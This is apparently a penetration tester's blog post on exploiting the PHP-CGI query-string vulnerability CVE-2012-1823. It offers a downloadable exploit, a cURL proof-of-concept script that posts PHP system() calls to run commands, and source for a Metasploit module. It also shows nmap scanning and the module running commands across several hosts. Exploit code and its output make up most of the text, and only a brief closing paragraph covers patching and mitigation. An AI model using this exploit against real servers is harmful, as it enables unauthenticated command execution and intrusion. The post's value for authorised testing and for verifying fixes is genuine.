During a recent penetration test, our team found a few web servers that were vulnerable to a PHP-CGI query string parameter vulnerability (CVE-2012-1823).

This vulnerability allows an attacker to execute commands without authentication, under the privileges of the web server. The target environment had very strong egress controls in place. All outbound ports were blocked and only ports 80 and 443 were allowed inbound. This made it difficult to obtain an interactive shell. Therefore, we decided to build a proof of concept exploit script using cURL to execute commands and then take it to the next level by authoring a new Metasploit Module.

Download phpcgi_exec.zip

Proof of concept exploit script

		#!/bin/bash# Semi-interactive shell over PHP-CGI POST requests.	

		if [ -z "$1" ] ;thenecho "USAGE: $0 [ip] [command]"exitficurl -i -s -k  -X 'POST'-H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'--data-binary "<?php system("$2""); die; ?>""""http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn""	

‍OS Command Output

		$ bash poc.sh 10.0.0.77 idHTTP/1.1 200 OKDate: Thu, 03 Jul 2014 03:26:52 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5.10Content-Length: 54Content-Type: text/htmluid=33(www-data) gid=33(www-data) groups=33(www-data)	

		$ bash poc.sh 10.0.0.77 'uname -r'HTTP/1.1 200 OKDate: Thu, 03 Jul 2014 03:26:59 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5.10Content-Length: 89Content-Type: text/html2.6.24-16-server	

At its core, the script passes the necessary information and command(s) via cURL to the vulnerable web server. OS command output is returned in the HTTP response body as shown in the figures above.

Creating the Metasploit Module

To better understand the Metasploit module code, let’s revisit and explore the key components of the PoC script first. The exploit initially passes several arguments to the PHP interpreter in order to disable many of the available security features.  Specifically, the script passes the following arguments to the target PHP interpreter:

Using PHP command line options in the query string

		-d allow_url_include=on  -d safe_mode=off  -d suhosin.simulation=on  -d disable_functions=""  -d open_basedir=none  -d auto_prepend_file=php://input  -d cgi.force_redirect=0  -d cgi.redirect_status_env=0  –n	

More on PHP: The “-d” option allows an attacker to manipulate security settings. You can learn more about these specific PHP INI directives by visiting: http://php.net/manual/en/ini.list.php

These arguments are passed as GET parameters within the URI (example: /#{vulnerable_uri}?#{phpoptions}). We need to perform URL encoding so the values are properly passed to the web server. We start by performing some basic search/replace substitutions within the initial string.

Convert to URL encoding

		phpcmd = '-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n'phpcmd.gsub!(' ','+')phpcmd.gsub!('=','%3d')phpcmd.gsub!('/','%2f')phpcmd.gsub!('.','%2e')phpcmd.gsub!('"','%22')phpcmd.gsub!('-','%2d')phpcmd.gsub!(':','%3a')	

The variable phpcmd now consists of the following string:

URL encoding applied

		%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn	

Next, we need to specify the actual OS command we want to instruct the web server to run. This will be passed in the POST body.

OS command output

		phpdata = ""	

The datastore[‘CMD’] variable will contain the OS command the user specifies to execute on vulnerable web servers. We are now ready to execute the request and print out the response.

Execute request and print response

		res = send_request_cgi({'uri'          => "#{uri}?#{phpcmd}",'method'       => 'POST','data'         => phpdata,}, 5)cmd_output = res.bodyif res and res.code == 200 and res.bodyprint_good(res.body)end	

Our module is now complete. We are able to execute OS commands on multiple vulnerable web servers. Below is an example of enumerating systems affected by the vulnerability and execution of two commands (id and uname -r). The module returns the output of the OS commands in the HTTP response.

First, we use db_nmap to enumerate systems with port 80 open.

Enumerate systems with port 80 open

		msf > db_nmap 10.0.0.70-80 -p 80[*] Nmap: Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-08-12 15:58 EDT[*] Nmap: Nmap scan report for 10.0.0.74[*] Nmap: Host is up (0.0010s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap scan report for 10.0.0.75[*] Nmap: Host is up (0.00095s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap scan report for 10.0.0.76[*] Nmap: Host is up (0.00089s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap scan report for 10.0.0.77[*] Nmap: Host is up (0.00084s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap done: 11 IP addresses (4 hosts up) scanned in 1.25 seconds	

The results of the nmap scan are stored in the Metasploit DB. The next step is to load our module and review the default configuration options.

Default configuration options

		msf > use  auxiliary/scanner/http/phpcgi_execmsf auxiliary(phpcgi_exec) > show optionsModule options (auxiliary/scanner/http/phpcgi_exec):Name       Current Setting  Required  Description====       ===============  ========  ===========CMD        id               yes       The command to execute.Proxies                     no        Use a proxy chainRHOSTS                      yes       The target address range or CIDR identifierRPORT      80               yes       The target portSSL        false            yes       Use SSLTARGETURI  /cgi-bin/php5    yes       The URL of the php-cgi interface.THREADS    1                yes       The number of concurrent threadsVHOST                       no        HTTP server virtual host	

We can query the Metasploit DB (services -p 80 -u -R) in order to set the RHOSTS variable to all servers with port 80 open.

Setting RHOSTS variable

		msf auxiliary(phpcgi_exec) > services -p 80 -u -RServices========host       port  proto  name  state  info––––       ––––  –––––  ––––  –––––  ––––10.0.0.74  80    tcp    http  open10.0.0.75  80    tcp    http  open10.0.0.76  80    tcp    http  open10.0.0.77  80    tcp    http  openRHOSTS => 10.0.0.74 10.0.0.75 10.0.0.76 10.0.0.77	

We are now ready to run the module

		[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5[*] 10.0.0.74:80 - Sending request…[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 1 of 4 hosts (025% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5[*] 10.0.0.75:80 - Sending request…[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 2 of 4 hosts (050% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5[*] 10.0.0.76:80 - Sending request…[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 3 of 4 hosts (075% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5[*] 10.0.0.77:80 - Sending request…[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 4 of 4 hosts (100% complete)[*] Auxiliary module execution completed	

We can specify a different OS command and run the module again.

		msf auxiliary(phpcgi_exec) > set CMD uname -rCMD => uname -rmsf auxiliary(phpcgi_exec) > run[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5[*] 10.0.0.74:80 - Sending request…[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 1 of 4 hosts (025% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5[*] 10.0.0.75:80 - Sending request…[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 2 of 4 hosts (050% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5[*] 10.0.0.76:80 - Sending request…[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 3 of 4 hosts (075% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5[*] 10.0.0.77:80 - Sending request…[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 4 of 4 hosts (100% complete)[*] Auxiliary module execution completed	

The PHP-CGI vulnerability has been public for several years now, but we’re still finding evidence of it on live production servers. Remediation and mitigation options are quite basic: 1) patch, 2) disable use of CGI mode for PHP, or 3) implement a WAF. This module can also be used to determine whether any vulnerable instances exist in your environment and to verify remediation.

Hack all the things!